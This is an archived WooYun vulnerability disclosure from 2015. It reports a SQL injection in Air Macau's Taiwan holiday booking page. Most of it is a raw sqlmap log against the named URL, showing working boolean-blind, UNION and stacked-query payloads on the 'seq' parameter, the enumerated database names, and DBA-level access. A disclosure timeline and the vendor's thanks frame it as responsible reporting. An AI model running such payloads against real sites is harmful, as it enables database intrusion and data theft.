乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-02-12: 细节已通知厂商并且等待厂商处理中 2015-02-16: 厂商已经确认,细节仅向厂商公开 2015-02-26: 细节向核心白帽子及相关领域专家公开 2015-03-08: 细节向普通白帽子公开 2015-03-18: 细节向实习白帽子公开 2015-03-29: 细节向公众公开
RT/台湾澳門航空SQK注入可跨库
竟然是system: Windows Vista
[root@Hacker~]# Sqlmap Sqlmap -u "http://www.airmacau.com.tw/holidays/hotel_detail.asp?route=mfm&seq=227" --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local,[*] starting at 04:03:38[04:03:39] [INFO] testing connection to the target URL[04:03:39] [INFO] testing if the target URL is stable. This can take a couple of seconds[04:03:41] [INFO] target URL is stable[04:03:41] [INFO] testing if GET parameter 'route' is dynamic[04:03:41] [INFO] confirming that GET parameter 'route' is dynamic[04:03:41] [WARNING] GET parameter 'route' does not appear dynamic[04:03:41] [WARNING] heuristic (basic) test shows that GET parameter 'route' might not be injectable[04:03:41] [INFO] testing for SQL injection on GET parameter 'route'[04:03:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[04:03:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[04:03:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[04:03:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[04:03:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[04:03:47] [INFO] testing 'MySQL inline queries'[04:03:47] [INFO] testing 'PostgreSQL inline queries'[04:03:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[04:03:48] [INFO] testing 'Oracle inline queries'[04:03:48] [INFO] testing 'SQLite inline queries'[04:03:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'[04:03:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[04:03:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[04:03:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[04:03:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'[04:03:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[04:03:54] [INFO] testing 'Oracle AND time-based blind'[04:03:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'[04:04:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'[04:04:06] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'[04:04:17] [WARNING] GET parameter 'route' is not injectable[04:04:17] [INFO] testing if GET parameter 'seq' is dynamic[04:04:18] [INFO] confirming that GET parameter 'seq' is dynamic[04:04:18] [INFO] GET parameter 'seq' is dynamic[04:04:19] [INFO] heuristics detected web page charset 'Big5'[04:04:19] [INFO] heuristic (basic) test shows that GET parameter 'seq' might be injectable[04:04:19] [INFO] testing for SQL injection on GET parameter 'seq'[04:04:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[04:04:21] [INFO] GET parameter 'seq' is 'AND boolean-based blind - WHERE or HAVING clause' injectable[04:04:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[04:04:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[04:04:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[04:04:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[04:04:25] [INFO] testing 'MySQL inline queries'[04:04:25] [INFO] testing 'PostgreSQL inline queries'[04:04:25] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[04:04:25] [INFO] testing 'Oracle inline queries'[04:04:26] [INFO] testing 'SQLite inline queries'[04:04:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'[04:04:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[04:04:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[04:05:26] [INFO] GET parameter 'seq' is 'Microsoft SQL Server/Sybase stacked queries' injectable[04:05:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[04:05:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[04:05:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[04:05:27] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the rang[04:05:31] [INFO] target URL appears to have 34 columns in queryinjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n][04:06:30] [INFO] GET parameter 'seq' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'seq' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ysqlmap identified the following injection points with a total of 346 HTTP(s) requests:---Place: GETParameter: seq Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: route=mfm&seq=227 AND 7109=7109 Type: UNION query Title: Generic UNION query (NULL) - 34 columns Payload: route=mfm&seq=-6708 UNION ALL SELECT 19,19,19,19,CHAR(113)+CHAR(98)+CHAR(108)+CHAR(104)+CHAR(113)+CHAR(104)+CHAR(70)+CHAR(99)+CHAR(103)+CHAR(116)+CHAR(100 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: route=mfm&seq=227; WAITFOR DELAY '0:0:5'-----[04:06:35] [INFO] testing Microsoft SQL Server[04:06:35] [INFO] confirming Microsoft SQL Server[04:06:36] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows Vistaweb application technology: ASP.NET, ASP, Microsoft IIS 7.0back-end DBMS: Microsoft SQL Server 2005[04:06:36] [INFO] fetching database names[04:06:36] [INFO] the SQL query used returns 20 entries[04:06:36] [INFO] retrieved: "ctu_Web"[04:06:37] [INFO] retrieved: "hgh_Web"[04:06:37] [INFO] retrieved: "master"[04:06:37] [INFO] retrieved: "model"[04:06:37] [INFO] retrieved: "msdb"[04:06:37] [INFO] retrieved: "nkg_Web"[04:06:38] [INFO] retrieved: "pek_Web"[04:06:38] [INFO] retrieved: "pvg_Web"[04:06:38] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ReportServerqdd"]'[04:06:38] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ReportServerTem"]'[04:06:39] [INFO] retrieved: "s_airmacau"[04:06:39] [INFO] retrieved: "sin_web"[04:06:39] [INFO] retrieved: "szx_Web"[04:06:39] [INFO] retrieved: "tempdb"[04:06:40] [INFO] retrieved: "tpe_web"[04:06:40] [WARNING] possible server trimmed output detected (probably due to its length and/or content): tw_web_eventqdd"]'[04:06:40] [WARNING] possible server trimmed output detected (probably due to its length and/or content): tw_web_internal"]'[04:06:40] [WARNING] possible server trimmed output detected (probably due to its length and/or content): tw_web_outstati"]'[04:06:41] [WARNING] possible server trimmed output detected (probably due to its length and/or content): tw_web_telexqdd"]'[04:06:41] [INFO] retrieved: "xmn_Web"available databases [14]:[*] ctu_Web[*] hgh_Web[*] master[*] model[*] msdb[*] nkg_Web[*] pek_Web[*] pvg_Web[*] s_airmacau[*] sin_web[*] szx_Web[*] tempdb[*] tpe_web[*] xmn_Web[04:06:41] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 87 times[04:06:41] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will resu[04:06:41] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\www.airmacau.com.tw'
NULL
危害等级:高
漏洞Rank:18
确认时间:2015-02-16 20:52
current user is DBA: True謝謝通報
暂无